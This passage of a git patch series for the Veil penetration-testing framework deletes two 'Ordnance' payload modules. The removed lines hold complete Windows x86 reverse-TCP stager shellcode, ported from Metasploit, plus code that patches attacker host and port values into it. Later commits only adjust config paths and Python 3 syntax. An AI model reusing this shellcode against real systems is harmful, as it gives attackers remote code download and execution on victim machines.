port_shellcode = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_shellcode = port_2half + port_1half - - retries = '\\x09' - - stager_shellcode = codecs.encode(self.stager[0:self.retries_offset], 'hex') - stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) - stager_shellcode += retries - - stager_shellcode2 = codecs.encode(self.stager[self.retries_offset + 1:self.lhost_offset], 'hex') - stager_shellcode2 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode2), 2)) - stager_shellcode2 += ip_shellcode - - stager_shellcode3 = codecs.encode(self.stager[self.lhost_offset + 4:self.lport_offset], 'hex') - stager_shellcode3 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode3), 2)) - stager_shellcode3 += port_shellcode - - stager_shellcode4 = codecs.encode(self.stager[self.lport_offset + 2:], 'hex') - stager_shellcode4 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode4[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode4), 2)) - - self.customized_shellcode = stager_shellcode + stager_shellcode2 + stager_shellcode3 + stager_shellcode4 - return diff --git a/Tools/Ordnance/payloads/x86/rev_tcp_all_ports.py b/Tools/Ordnance/payloads/x86/rev_tcp_all_ports.py deleted file mode 100644 index 19ed042..0000000 --- a/Tools/Ordnance/payloads/x86/rev_tcp_all_ports.py +++ /dev/null @@ -1,125 +0,0 @@ -""" -reverse_tcp all ports payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_tcp.rb -""" - -import binascii -import codecs -import socket -from lib.common import helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Reverse TCP All Ports Stager (Stage 1)" - self.description = "Attempts to egress bust by trying all ports!" - self.cli_name = "rev_tcp_all_ports" - self.platform = "Windows" - self.arch = "x86" - self.retries_offset = 192 - self.lhost_offset = 195 - self.lport_offset = 202 - self.exitfunc_offset = 226 - self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' - self.stager = ( - b"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - b"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - b"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - b"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - b"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - b"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - b"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - b"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - b"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - b"\xD5\x97\x68\x7F\x00\x00\x01\x68\x02\x00\x01\x00\x89\xE6\x6A\x10" + - b"\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x12\x31\xC0\x66" + - b"\x8B\x46\x02\x86\xE0\x66\x40\x86\xE0\x66\x89\x46\x02\xEB\xDF\x6A" + - b"\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40" + - b"\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93" + - b"\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29" + - b"\xC6\x85\xF6\x75\xEC\xC3") - self.required_options = { - "LHOST": ["", "LHOST value"], - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def payload_gen(self): - # Take the passed in attributes and gen shellcode - ip_shellcode = '' - n = 2 - ip_shellcode_stage = binascii.hexlify(socket.inet_aton(self.required_options["LHOST"][0])) - ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] - for two_bytes in ip_shellcode_stage: - ip_shellcode += '\\x' + two_bytes.decode('UTF-8') - - # convert port to shellcode - port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - port_shellcode = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_shellcode = port_2half + port_1half - - stager_shellcode = codecs.encode(self.stager[0:self.lhost_offset], 'hex') - stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) - stager_shellcode += ip_shellcode - - stager_shellcode2 = codecs.encode(self.stager[self.lhost_offset + 4:self.lport_offset], 'hex') - stager_shellcode2 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode2), 2)) - stager_shellcode2 += port_shellcode - - stager_shellcode3 = codecs.encode(self.stager[self.lport_offset + 2:], 'hex') - stager_shellcode3 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode3), 2)) - - self.customized_shellcode = stager_shellcode + stager_shellcode2 + stager_shellcode3 - return - - def print_shellcode(self): - print(self.customized_shellcode) - return - - def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return diff --git a/Tools/Ordnance/payloads/x86/rev_tcp_dns.py b/Tools/Ordnance/payloads/x86/rev_tcp_dns.py deleted file mode 100644 index 2aa5695..0000000 --- a/Tools/Ordnance/payloads/x86/rev_tcp_dns.py +++ /dev/null @@ -1,134 +0,0 @@ -""" -reverse_tcp DNS payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_tcp_dns.rb -""" - -import binascii -import codecs -from lib.common import helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Reverse TCP DNS Stager (Stage 1)" - self.description = "Resolves DNS address, connects back to a handler\ - to download and run fun files :)" - self.cli_name = "rev_tcp_dns" - self.platform = "Windows" - self.arch = "x86" - self.retries_offset = 207 - self.lport_offset = 212 - self.lhost_offset = 248 - self.customized_shellcode = '' - self.stager = ( - b"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - b"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - b"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - b"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - b"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - b"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - b"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - b"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - b"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - b"\xD5\x97\xEB\x2F\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05" + - b"\x50\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74" + - b"\x61\xFF\xD5\x85\xC0\x74\x51\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2" + - b"\x56\xFF\xD5\xE8\xCC\xFF\xFF\xFF\x58\x58\x58\x58\x58\x58\x58\x58" + - b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - b"\x58\x58\x58\x58\x58\x58\x58\x00\x6A\x00\x6A\x04\x56\x57\x68\x02" + - b"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + - b"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + - b"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3") - self.required_options = { - "LHOST": ["", "LHOST domain value"], - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def payload_gen(self): - # Take the passed in attributes and gen shellcode - ip_shellcode = '' - n = 2 - ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) - ip_shellcode_stage = [ip_shellcode_stage[i:i+n] for i in range(0, len(ip_shellcode_stage), n)] - for two_bytes in ip_shellcode_stage: - ip_shellcode += '\\x' + two_bytes.decode('UTF-8') - - # convert port to shellcode - port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - port_shellcode = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_shellcode = port_2half + port_1half - - retries = '\\x09' - - stager_shellcode = codecs.encode(self.stager[0:self.retries_offset], 'hex') - stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) - stager_shellcode += retries - - stager_shellcode2 = codecs.encode(self.stager[self.retries_offset + 1:self.lport_offset], 'hex') - stager_shellcode2 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode2), 2)) - stager_shellcode2 += port_shellcode - - stager_shellcode3 = codecs.encode(self.stager[self.lport_offset + 2:self.lhost_offset], 'hex') - stager_shellcode3 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode3), 2)) - stager_shellcode3 += ip_shellcode - stager_shellcode3 += "\\x00" - - stager_p2 = codecs.encode(self.stager[self.lhost_offset + len(self.required_options["LHOST"][0]) + 1:], 'hex') - stager_p2 = "\\x" + '\\x'.join(codecs.decode(stager_p2[i:i + 2], 'utf-8') for i in range(0, len(stager_p2), 2)) - - self.customized_shellcode = stager_shellcode + stager_shellcode2 + stager_shellcode3 + stager_p2 - return - - def print_shellcode(self): - print(self.customized_shellcode) - return - - def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return diff --git a/Tools/__init__.py b/Tools/__init__.py deleted file mode 100644 index e69de29..0000000 From 9dc87d068cf7effdfc029e210ae5cf08458ce72d Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 10 Apr 2018 15:35:48 +0100 Subject: [PATCH 02/38] Apply Kali patches upstream & improve config http://git.kali.org/gitweb/?p=packages/veil.git;a=tree;f=debian/patches;hb=refs/heads/kali/master --- config/setup.sh | 4 +- config/update-config.py | 116 +++++++++++++++++++++------------------- 2 files changed, 62 insertions(+), 58 deletions(-) diff --git a/config/setup.sh b/config/setup.sh index f06202c..38c8a21 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -35,7 +35,7 @@ force=false osversion="$( awk -F '=' '/^VERSION_ID=/ {print $2}' /etc/os-release 2>&- )" arg="" errors="" -veildir="/opt/veil" +veildir="/var/lib/veil" outputdir="${veildir}/output" dependenciesdir="${veildir}/setup-dependencies" runuser="$( whoami )" @@ -196,7 +196,7 @@ func_check_env(){ if [ "${force}" == "false" ] \ && [ -f "/etc/veil/settings.py" ] \ && [ -d "${outputdir}" ]; then - echo -e "\n\n [*] ${YELLOW}Setttings already detected... Skipping...${RESET}\n" + echo -e "\n\n [*] ${YELLOW}Settings already detected... Skipping...${RESET}\n" else func_update_config fi diff --git a/config/update-config.py b/config/update-config.py index f0ffa55..9999de6 100755 --- a/config/update-config.py +++ b/config/update-config.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python2 """ Take an options dictionary and update /etc/veil/settings.py @@ -15,7 +15,7 @@ def generateConfig(options): # # Veil configuration file # -# Run './config/update-config.py' to automatically set all these options to their defaults. +# Run 'Veil.py --config' to automatically set all these options to their defaults. # ################################################################################################## @@ -35,7 +35,7 @@ def generateConfig(options): # OS (Linux) config += '# Specific Linux distro\n' - # check /etc/issue for the exact linux distro + # Check /etc/issue for the exact linux distro issue = open("/etc/issue").read() if issue.startswith("Debian"): config += 'DISTRO="Debian"\n\n' @@ -95,19 +95,19 @@ def generateConfig(options): print " [*] VEIL_EVASION_PATH = " + options['VEIL_EVASION_PATH'] # Payload path - source_path = os.path.expanduser(options["PAYLOAD_SOURCE_PATH"]) + source_path = os.path.expanduser( options["PAYLOAD_SOURCE_PATH"] ) config += '# Path to output the source of payloads\n' config += 'PAYLOAD_SOURCE_PATH="' + source_path + '"\n\n' print " [*] PAYLOAD_SOURCE_PATH = " + source_path # Compile path - compiled_path = os.path.expanduser(options["PAYLOAD_COMPILED_PATH"]) + compiled_path = os.path.expanduser( options["PAYLOAD_COMPILED_PATH"] ) config += '# Path to output compiled payloads\n' config += 'PAYLOAD_COMPILED_PATH="' + compiled_path +'"\n\n' print " [*] PAYLOAD_COMPILED_PATH = " + compiled_path # Handler path - handler_path = os.path.expanduser(options["HANDLER_PATH"]) + handler_path = os.path.expanduser( options["HANDLER_PATH"] ) config += '# Whether to generate a msf handler script and where to place it\n' config += 'GENERATE_HANDLER_SCRIPT="' + options['GENERATE_HANDLER_SCRIPT'] + '"\n' print " [*] GENERATE_HANDLER_SCRIPT = " + options['GENERATE_HANDLER_SCRIPT'] @@ -115,7 +115,7 @@ def generateConfig(options): print " [*] HANDLER_PATH = " + handler_path # Hash List - hash_path = os.path.expanduser(options["HASH_LIST"]) + hash_path = os.path.expanduser( options["HASH_LIST"] ) config += '# Running hash list of all payloads generated\n' config += 'HASH_LIST="' + hash_path + '"\n\n' print " [*] HASH_LIST = " + hash_path + "\n" @@ -138,7 +138,7 @@ def generateConfig(options): print " [*] VEIL_CATAPULT_PATH = " + options['VEIL_CATAPULT_PATH'] # Veil-Catapult resource path - catapult_resource_path = os.path.expanduser(options["CATAPULT_RESOURCE_PATH"]) + catapult_resource_path = os.path.expanduser( options["CATAPULT_RESOURCE_PATH"] ) config += '# Path to output Veil-Catapult resource/cleanup files\n' config += 'CATAPULT_RESOURCE_PATH="' + catapult_resource_path + '"\n\n' print " [*] CATAPULT_RESOURCE_PATH = " + catapult_resource_path + "\n" @@ -155,8 +155,8 @@ def generateConfig(options): print " [I] Path Created: '" + catapult_resource_path # Create the output source path if it doesn't exist - if not os.path.exists(source_path): - os.makedirs(source_path) + if not os.path.exists( source_path ): + os.makedirs( source_path ) print " [I] Path Created: '" + source_path # Create the output compiled path if it doesn't exist @@ -168,15 +168,13 @@ def generateConfig(options): # Save config if platform.system() == "Linux": # create the output compiled path if it doesn't exist - if not os.path.exists("/etc/veil/"): - # os.makedirs("/etc/veil/") - os.system("sudo mkdir /etc/veil/") - os.system("sudo touch /etc/veil/settings.py") - os.system("sudo chmod 0755 /etc/veil/settings.py") + if not os.path.exists( "/etc/veil/" ): + os.makedirs( "/etc/veil/" ) print " [I] Path '/etc/veil/' Created" - f = open("/etc/veil/settings.py", 'w') - f.write(config) + f = open( "/etc/veil/settings.py", 'w' ) + f.write( config ) f.close() + os.chmod( "/etc/veil/settings.py", 0755 ) print " [I] Configuration File Written To: '/etc/veil/settings.py'\n" else: print " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" @@ -187,60 +185,66 @@ def generateConfig(options): options = {} + # Check for root access + if os.geteuid() != 0: + print " [!] ERROR: Not root. Requesting..." + os.execvp( "sudo", ["sudo"] + ["python"] + sys.argv ) + sys.exit() + if platform.system() == "Linux": # Check /etc/issue for the exact linux distro - issue = open("/etc/issue").read() - - # Kali - if issue.startswith("Kali"): - options["OPERATING_SYSTEM"] = "Kali" - options["METASPLOIT_PATH"] = "/usr/share/metasploit-framework/" - if os.path.isfile('/usr/bin/msfvenom'): - options["MSFVENOM_PATH"] = "/usr/bin/" - else: - msfpath = raw_input(" [>] Please enter the path to msfvenom: ") - options["MSFVENOM_PATH"] = msfpath - # Backtrack - elif issue.startswith("BackTrack"): - options["OPERATING_SYSTEM"] = "BackTrack" - options["METASPLOIT_PATH"] = "/opt/metasploit/msf3/" - if os.path.isfile('/opt/metasploit/msf3/msfvenom'): - options["MSFVENOM_PATH"] = "/opt/metasploit/msf3/" - else: - msfpath = raw_input(" [>] Please enter the path to msfvenom: ") - options["MSFVENOM_PATH"] = msfpath - # ...everything else (Linux) - else: - options["OPERATING_SYSTEM"] = "Linux" - msfpath = raw_input(" [>] Please enter the path of your metasploit installation: ") - options["METASPLOIT_PATH"] = msfpath - options["MSFVENOM_PATH"] = msfpath + issue = open( "/etc/issue" ).read() - # Last of the general options - options["TERMINAL_CLEAR"] = "clear" - options["PYINSTALLER_PATH"] = "/opt/veil/PyInstaller-3.2.1/" - options["TEMP_DIR"] = "/tmp/" + # General options + options["METASPLOIT_PATH"] = "/opt/metasploit-framework/" options["MSFVENOM_OPTIONS"] = "" - options["WINEPREFIX"] = "/opt/veil/wine/veil/" + options["MSFVENOM_PATH"] = "/usr/local/bin/" + options["OPERATING_SYSTEM"] = "Linux" + options["PYINSTALLER_PATH"] = "/var/lib/veil/PyInstaller-3.2.1/" + options["TEMP_DIR"] = "/tmp/" + options["TERMINAL_CLEAR"] = "clear" + options["WINEPREFIX"] = "/var/lib/veil/wine/veil/" # Veil-Evasion specific options - veil_evasion_path = "/".join(os.getcwd().split("/")[:-1]) + "/" + veil_evasion_path = "/".join( os.getcwd().split( "/" )[:-1] ) + "/" options["VEIL_EVASION_PATH"] = veil_evasion_path - options["PAYLOAD_SOURCE_PATH"] = "/opt/veil/output/source/" - options["PAYLOAD_COMPILED_PATH"] = "/opt/veil/output/compiled/" options["GENERATE_HANDLER_SCRIPT"] = "True" - options["HANDLER_PATH"] = "/opt/veil/output/handlers/" - options["HASH_LIST"] = "/opt/veil/output/hashes.txt" + options["HANDLER_PATH"] = "/var/lib/veil/output/handlers/" + options["HASH_LIST"] = "/var/lib/veil/output/hashes.txt" + options["PAYLOAD_COMPILED_PATH"] = "/var/lib/veil/output/compiled/" + options["PAYLOAD_SOURCE_PATH"] = "/var/lib/veil/output/source/" # Veil-Catapult specific options - veil_catapult_path = "/".join(os.getcwd().split("/")[:-2]) + "/Veil-Catapult/" + veil_catapult_path = "/".join( os.getcwd().split( "/" )[:-2] ) + "/Veil-Catapult/" options["VEIL_CATAPULT_PATH"] = veil_catapult_path - options["CATAPULT_RESOURCE_PATH"] = "/opt/veil/output/catapult/" + options["CATAPULT_RESOURCE_PATH"] = "/var/lib/veil/output/catapult/" + + # Kali + if issue.startswith( "Kali" ): + options["OPERATING_SYSTEM"] = "Kali" + options["METASPLOIT_PATH"] = "/usr/share/metasploit-framework/" + options["MSFVENOM_PATH"] = "/usr/bin/" + options["TERMINAL_CLEAR"] = "false" + # BackTrack + elif issue.startswith( "BackTrack" ): + options["OPERATING_SYSTEM"] = "BackTrack" + options["METASPLOIT_PATH"] = "/opt/metasploit/msf3/" + options["MSFVENOM_PATH"] = "/opt/metasploit/msf3/" + + # Check the paths are correct (METASPLOIT_PATH) + while not os.path.isdir( options["METASPLOIT_PATH"] ): + msfpath = raw_input( " [>] Please enter the directory of the Metasploit Framework (e.g. /opt/metasploit-framework/): " ) + options["METASPLOIT_PATH"] = msfpath + + # Check the paths are correct (MSFVENOM_PATH) + while not os.path.isfile( options["MSFVENOM_PATH"] + "/msfvenom" ): + msfpath = raw_input( " [>] Please enter the directory of msfvenom (e.g. /usr/bin/): " ) + options["MSFVENOM_PATH"] = msfpath # Unsupported platform... else: print " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" sys.exit() - generateConfig(options) + generateConfig( options ) From af14559ab94d1be81a87f85b0dd63619ccda683a Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 10 Apr 2018 15:49:24 +0100 Subject: [PATCH 03/38] Convert update-config.py to python3 --- config/update-config.py | 60 ++++++++++++++++++++--------------------- 1 file changed, 30 insertions(+), 30 deletions(-) diff --git a/config/update-config.py b/config/update-config.py index 9999de6..e577a82 100755 --- a/config/update-config.py +++ b/config/update-config.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 """ Take an options dictionary and update /etc/veil/settings.py @@ -26,12 +26,12 @@ def generateConfig(options): # ################################################# """ - print "\n Veil Configuration:" + print( "\n Veil Configuration:" ) # OS config += '# OS to use (Kali/Backtrack/Debian/Windows)\n' config += 'OPERATING_SYSTEM="' + options['OPERATING_SYSTEM'] + '"\n\n' - print " [*] OPERATING_SYSTEM = " + options['OPERATING_SYSTEM'] + print( " [*] OPERATING_SYSTEM = " + options['OPERATING_SYSTEM'] ) # OS (Linux) config += '# Specific Linux distro\n' @@ -45,37 +45,37 @@ def generateConfig(options): # Terminal clearing config += '# Terminal clearing method to use (use "false" to disable it)\n' config += 'TERMINAL_CLEAR="' + options['TERMINAL_CLEAR'] + '"\n\n' - print " [*] TERMINAL_CLEAR = " + options['TERMINAL_CLEAR'] + print( " [*] TERMINAL_CLEAR = " + options['TERMINAL_CLEAR'] ) # Wine config += '# Wine environment\n' config += 'WINEPREFIX="' + options["WINEPREFIX"] + '"\n\n' - print " [*] WINEPREFIX = " + options["WINEPREFIX"] + print( " [*] WINEPREFIX = " + options["WINEPREFIX"] ) # Temp folder config += '# Path to temporary directory\n' config += 'TEMP_DIR="' + options["TEMP_DIR"] + '"\n\n' - print " [*] TEMP_DIR = " + options["TEMP_DIR"] + print( " [*] TEMP_DIR = " + options["TEMP_DIR"] ) # Metasploit-Framework config += '# The path to the metasploit framework, for example: /usr/share/metasploit-framework/\n' config += 'METASPLOIT_PATH="' + options['METASPLOIT_PATH'] + '"\n\n' - print " [*] METASPLOIT_PATH = " + options['METASPLOIT_PATH'] + print( " [*] METASPLOIT_PATH = " + options['METASPLOIT_PATH'] ) # msfvenom config += '# The path to msfvenom for shellcode generation purposes\n' config += 'MSFVENOM_PATH="' + options["MSFVENOM_PATH"] + '"\n\n' - print " [*] MSFVENOM_PATH = " + options["MSFVENOM_PATH"] + print( " [*] MSFVENOM_PATH = " + options["MSFVENOM_PATH"] ) # msfvenom config += '# Default options to pass to msfvenom for shellcode creation\n' config += 'MSFVENOM_OPTIONS="' + options['MSFVENOM_OPTIONS'] + '"\n\n' - print " [*] MSFVENOM_OPTIONS = " + options['MSFVENOM_OPTIONS'] + print( " [*] MSFVENOM_OPTIONS = " + options['MSFVENOM_OPTIONS'] ) # PyInstaller Path config += '# The path to pyinstaller, for example: /opt/pyinstaller-2.0/\n' config += 'PYINSTALLER_PATH="' + options['PYINSTALLER_PATH'] + '"\n\n' - print " [*] PYINSTALLER_PATH = " + options['PYINSTALLER_PATH'] + "\n" + print( " [*] PYINSTALLER_PATH = " + options['PYINSTALLER_PATH'] + "\n" ) # Veil-Evasion @@ -87,38 +87,38 @@ def generateConfig(options): # ################################################# """ - print "\n Veil-Evasion Configuration:" + print( "\n Veil-Evasion Configuration:" ) # Veil-Evasion path config += '# Veil-Evasion install path\n' config += 'VEIL_EVASION_PATH="' + options['VEIL_EVASION_PATH'] + '"\n\n' - print " [*] VEIL_EVASION_PATH = " + options['VEIL_EVASION_PATH'] + print( " [*] VEIL_EVASION_PATH = " + options['VEIL_EVASION_PATH'] ) # Payload path source_path = os.path.expanduser( options["PAYLOAD_SOURCE_PATH"] ) config += '# Path to output the source of payloads\n' config += 'PAYLOAD_SOURCE_PATH="' + source_path + '"\n\n' - print " [*] PAYLOAD_SOURCE_PATH = " + source_path + print( " [*] PAYLOAD_SOURCE_PATH = " + source_path ) # Compile path compiled_path = os.path.expanduser( options["PAYLOAD_COMPILED_PATH"] ) config += '# Path to output compiled payloads\n' config += 'PAYLOAD_COMPILED_PATH="' + compiled_path +'"\n\n' - print " [*] PAYLOAD_COMPILED_PATH = " + compiled_path + print( " [*] PAYLOAD_COMPILED_PATH = " + compiled_path ) # Handler path handler_path = os.path.expanduser( options["HANDLER_PATH"] ) config += '# Whether to generate a msf handler script and where to place it\n' config += 'GENERATE_HANDLER_SCRIPT="' + options['GENERATE_HANDLER_SCRIPT'] + '"\n' - print " [*] GENERATE_HANDLER_SCRIPT = " + options['GENERATE_HANDLER_SCRIPT'] + print( " [*] GENERATE_HANDLER_SCRIPT = " + options['GENERATE_HANDLER_SCRIPT'] ) config += 'HANDLER_PATH="' + handler_path + '"\n\n' - print " [*] HANDLER_PATH = " + handler_path + print( " [*] HANDLER_PATH = " + handler_path ) # Hash List hash_path = os.path.expanduser( options["HASH_LIST"] ) config += '# Running hash list of all payloads generated\n' config += 'HASH_LIST="' + hash_path + '"\n\n' - print " [*] HASH_LIST = " + hash_path + "\n" + print( " [*] HASH_LIST = " + hash_path + "\n" ) # Veil-Catapult @@ -130,39 +130,39 @@ def generateConfig(options): # ################################################# """ - print "\n Veil-Catapult Configuration:" + print( "\n Veil-Catapult Configuration:" ) # Veil-Catapult path config += '# Veil-Catapult install path\n' config += 'VEIL_CATAPULT_PATH="' + options['VEIL_CATAPULT_PATH'] + '"\n\n' - print " [*] VEIL_CATAPULT_PATH = " + options['VEIL_CATAPULT_PATH'] + print( " [*] VEIL_CATAPULT_PATH = " + options['VEIL_CATAPULT_PATH'] ) # Veil-Catapult resource path catapult_resource_path = os.path.expanduser( options["CATAPULT_RESOURCE_PATH"] ) config += '# Path to output Veil-Catapult resource/cleanup files\n' config += 'CATAPULT_RESOURCE_PATH="' + catapult_resource_path + '"\n\n' - print " [*] 